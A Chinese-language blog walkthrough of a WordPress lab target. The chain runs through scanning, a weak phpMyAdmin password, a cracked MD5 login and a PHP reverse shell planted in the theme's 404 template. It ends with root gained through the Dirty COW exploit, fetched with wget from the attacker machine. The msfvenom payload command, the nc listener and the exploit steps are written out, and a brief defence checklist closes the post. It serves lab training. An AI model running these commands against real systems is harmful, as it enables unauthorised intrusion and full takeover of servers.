wordpress 靶机渗透

人过留名,雁过留声
人生天地间,凡有大动静处
必有猪头

环境准备

VMware workstation Pro12
Kali 虚拟机 (攻击机IP:10.10.16.133)
Wordpress 虚拟机 (靶机IP:10.10.16.135)
NAT 网络模式

安装靶机

在导入靶机的时候出现版本不兼容的现象。
在这里插入图片描述
用记事本打开靶机安装包里面的 .vmx 文件,修改版本好为本地的 VM 的版本号即可。
在这里插入图片描述
继续尝试导入靶机的时候又提示错误 " 不支持客户机操作系统 centos6-64 ",按照提示的方法去修改靶机的操作系统。(这里修改为 Linux 系统)
在这里插入图片描述
在这里插入图片描述
接着便可导入成功,一开始导入虚拟机的时候选择 " 我以移动该虚拟机即可 "

1. 信息收集

1.1 主机发现

主机发现可以有以下三种方式获取。

① netdiscover

Netdiscover -r 10.10.16.133

在这里插入图片描述

② arp-scan

Arp-scan -l 

在这里插入图片描述

③ fping

fping -asg 10.10.16.0/24

在这里插入图片描述
在这里插入图片描述

1.2 端口扫描

参数说明:
-A:详细扫描目标IP,加载所有脚本,尽可能地全面探测信息
-v:显示详细的扫描过程
-sS:利用TCP SYN 扫描
-sV:探测开放
-p-:扫描全部端口
-T4:级别越高速度越快,最高为6级

nmap -A -v -sS -sV -p- 10.10.16.135 

通过端口扫描可以得知靶机开放如下端口。

端口号 对应的服务
22 ssh
80 http
3306 mysql

ps:但凡开放 80\443 端口的都应该目录扫描一波。
在这里插入图片描述

1.3 Web 指纹识别

Wappalyzer是一款浏览器插件,通过Wappalyzer可以识别出网站采用了那种web技术。它能够检测出CMS和电子商务系统、留言板、javascript框架,主机面板,分析统计工具和其它的一些web系统。The company behind Wappalyzer还能够收集web程序的一些信息用于统计分析,揭示出各种web系统的使用率即增长情况。

只要打开网站,Wappalyzer 就能自动识别出 Web 技术信息。

从插件读取的信息可以得出该网站是基于 WordPress 5.0.4 搭建的博客系统,其后端支持语言为 PHP 5.3.3,操作系统为 CentOS,数据库类型为 MySQL。

在这里插入图片描述

2. 漏洞挖掘

2.1 目录扫描

目录扫描工具由很多,如:御剑1.5、DirBuster、Dirsearch、cansina,还有牛人开发的一款 dirmap 。(https://www.freebuf.com/sectool/200890.html)
这里就用 Dirbuster 即可。

① Dirbuster 的打开方式

  1. 直接打开
    在这里插入图片描述

  2. 在命令行中输入 dirbuster 即可打开

② 加载字典

  1. Dirbuster 的安装路径
whereis dirbuster

在这里插入图片描述

  1. bin 目录下一般为存储二进制的文件,所以字典文件应该在第二个路径
    在这里插入图片描述

③ 设置

  1. 在 Target URL 输入要扫描的网站 URL,扫描时将 Work Method 设置为 Auto Switch(HEAD and GET)。
  2. 线程设置为 20-30,(这里选择 20 )太大了容易造成系统死机。
  3. 选择扫描类型,List based brute force(字典暴力破解)。点击Browse选择字典。
  4. 在 Select starting options 中选择 URL Fuzz (URL 模糊测试)方式进行扫描。
  5. 设置 fuzzing 时需要注意,在 URL to fuzz 中输入 /{dir} ,这里的 {dir} 是一个变量,在运行时会被字典中的目录替换掉。如果你扫描的目标是 http://www.xx.com/admin/ ,那么就要在 URL to fuzz 里填写 /admin/{dir}。如果是 /admin/{dir}.php ,则是扫描 admin 目录下的所有 php 文件。

在这里插入图片描述

④ 结果

有两个目录 /phpmyadmin 和 /wp-content
在这里插入图片描述

补:dirb 扫描更方便

使用默认的字典 common.txt ,也可以自定义字典。
在这里插入图片描述

2.2 敏感目录访问

① 访问 phpmyadmin 目录。

在这里插入图片描述

② 尝试用弱口令登录

弱口令登录,可以一个一个去试,要不然就将收集到的弱口令写在一个文件中使用 Burpsuite 中的 intruder 模块去爆破。
得到账号/密码:root/root
在这里插入图片描述

③ 访问 wp-admin 目录(插曲)

  1. 在一开始访问靶机的时候页面没能加载 CSS ,当时就有点疑惑,是不是靶机出问题了,不过还是不放在心上,反正这个靶机漏洞的考察一般不会出现在 CSS 上,所以也就不在意。
    在这里插入图片描述
  2. 访问 wp-admin 目录的时候,再次出现错误,发现页面重定向的主机地址错误(192.168.116.171)。很显然,这绝对不是源码的问题,源码中绝对不可能把重定向的地址写死,那么,那么重定向的地址有可能是存储在数据库中,然后源码去调用而已。
    在这里插入图片描述
  3. 在 phpmyadmin 中发现了两处重定向的地址。刚好也是 192.168.116.171
    在这里插入图片描述
  4. 将数据库中的地址改为靶机的IP即可(10.10.16.135)
    在这里插入图片描述
  5. 重新刷新一下数据库,再次进入靶机,发现 CSS 被加载出来了。
    在这里插入图片描述
  6. wp-admin目录可重定向成功,是一个后台登录页面。
    在这里插入图片描述

3. 漏洞利用

3.1 登录后台

  1. 使用 wordpress 数据库下的 wp_users 表中的用户的信息登录。
    在这里插入图片描述
  2. 这里发现密码被经过加密处理,这里用 md5 在线解密工具解密一下,发现密码是123456。
    在这里插入图片描述
  3. 登录账号/密码:cleverbao/123456
    (ps:当然,有了数据库权限之后也可以对数据库进行增,删,改操作,如果觉得用户名不好听的话。)
    在这里插入图片描述

3.2 反弹 shell

在 外观 / 编辑 / 404模板 处可编辑 404.php 页面的代码。在 404 模板插入反弹 shell 代码即可。

① msf 生成反弹 shell

在 Kali 命令行执行以下命令:
其中 LHOST 是 Kali 的 IP,LPORT 是监听的端口,且将代码保存在 Desktop 的 shell.php 文件中。

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.16.133 LPORT=4444 -o Desktop/shell.php

在这里插入图片描述

② 直接利用 Kali 自带的反向 shell

cat /usr/share/webshells/php/php-reverse-shell.php

在这里插入图片描述

③ 将代码粘贴在 404.php 中

使用以上两个木马之一都可,这里使用 Kali 自带的。同时要修改主机号和端口,最后点击更新文件即可。
在这里插入图片描述
在这里插入图片描述

④ 监听端口

这里访问错误页面的原因在于可以跳转到网站的 404 页面,从而触发木马,反弹shell。同时监听木马中设置的 4444 端口。

  1. 这里使用 nc(netcat:素有 " 瑞士军刀 " 美誉)监听端口。

netcat 命令解析
-l 监听
-p 监听本地端口
-n 指定 IP地址
-v 熟悉详细信息
-h 帮助文档

nc -nvlp 4444
  1. 同时访问一个不存在的页面
http://10.10.16.135/?p=666
  1. 结果反弹成功!!!
    在这里插入图片描述
  2. 输入 whoami 查看权限,发现当前为 apache 权限,还不是 root 权限。
    (ps: $ 是一般用户权限,# 是 root 权限 )
    在这里插入图片描述

3.3 提权

① 查看操作系统信息

使用 uname 可显示电脑以及操作系统的相关信息。

参数说明:
-a或–all  显示全部的信息。
-m或–machine  显示电脑类型。
-n或-nodename  显示在网络上的主机名称。
-r或–release  显示操作系统的发行编号。
-s或–sysname  显示操作系统名称。
-v  显示操作系统的版本。
–help  显示帮助。
–version  显示版本信息。

在这里插入图片描述

② 脏牛(dirty cow)提权漏洞

漏洞编号:CVE-2016-5195
漏洞危害:低权限用户利用该漏洞技术可以在全版本 Linux 系统上实现本地提权。
漏洞原理:该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。
影响范围:Linux 内核>=2.6.22,并且未打补丁

从上面可以得知靶机的 Linux 版本为 2.6.32 ,存在脏牛提权漏洞。

③ 漏洞测试

  1. 使用官网提供的 exp 进行测试。
https://github.com/FireFart/dirtycow/blob/master/dirty.c
  1. 将 dirty.c 文件下载下来后放在一个文件夹下,这里是放在桌面。
  2. 使用 gcc 编译
gcc -pthread dirty.c -o dirty -lcrypt  
  1. 设置为执行权限
chmod +x dirty
  1. 使用 python 开启 http 服务器
python -m SimpleHTTPServer 80 

在这里插入图片描述

  1. 通过前面反弹的 shell 使用 wget 将 dirty 下载到 /tmp 目录
cd /tmp
wget http://10.10.16.133/dirty

在这里插入图片描述
执行 dirty 文件 同时将管理员的密码修改为 123456

./dirty 123456

在这里插入图片描述
得到一个超级管理员的账号/密码: firefart/123456,使用得到的账号/密码在靶机上登录即可得到 root 权限。
在这里插入图片描述

思路总结

① 红队

  1. 信息收集:主机发现,端口扫描识别端口服务:找到22,80,3306
  2. 漏洞挖掘:目录扫描(爆破),找到敏感目录,包括数据库和网站后台
  3. 漏洞利用:
    ① 手工登录数据库后台,对数据库进行增,删,改操作
    ② 利用数据库中获取得到的账号密码在网站后台登录,上传网站木马(msf生 成shell/kali自带的shell)
    ③执行网站木马获取低权限 shell,判断系统版本寻找提权方法(脏牛提权漏洞)
    ④ 使用官方放出的 exp 进行漏洞测试,获取管理员账号实现 root 提权

② 蓝队

  1. 关闭不需要的端口,遵循最小化原则
  2. 使用常见网站 cms 时,修改默认后台路径
  3. 使用 Phpmyadmin 时,修改默认路径和密码
  4. 升级操作系统版本,不定时打补丁修复漏洞
  5. 关注最新漏洞情报,提升安全运维响应能力
                                                                                                     猪头
                                                                                                  2020.2.14 
发布了21 篇原创文章 · 获赞 3 · 访问量 635

猜你喜欢

转载自blog.csdn.net/LZHPIG/article/details/104292758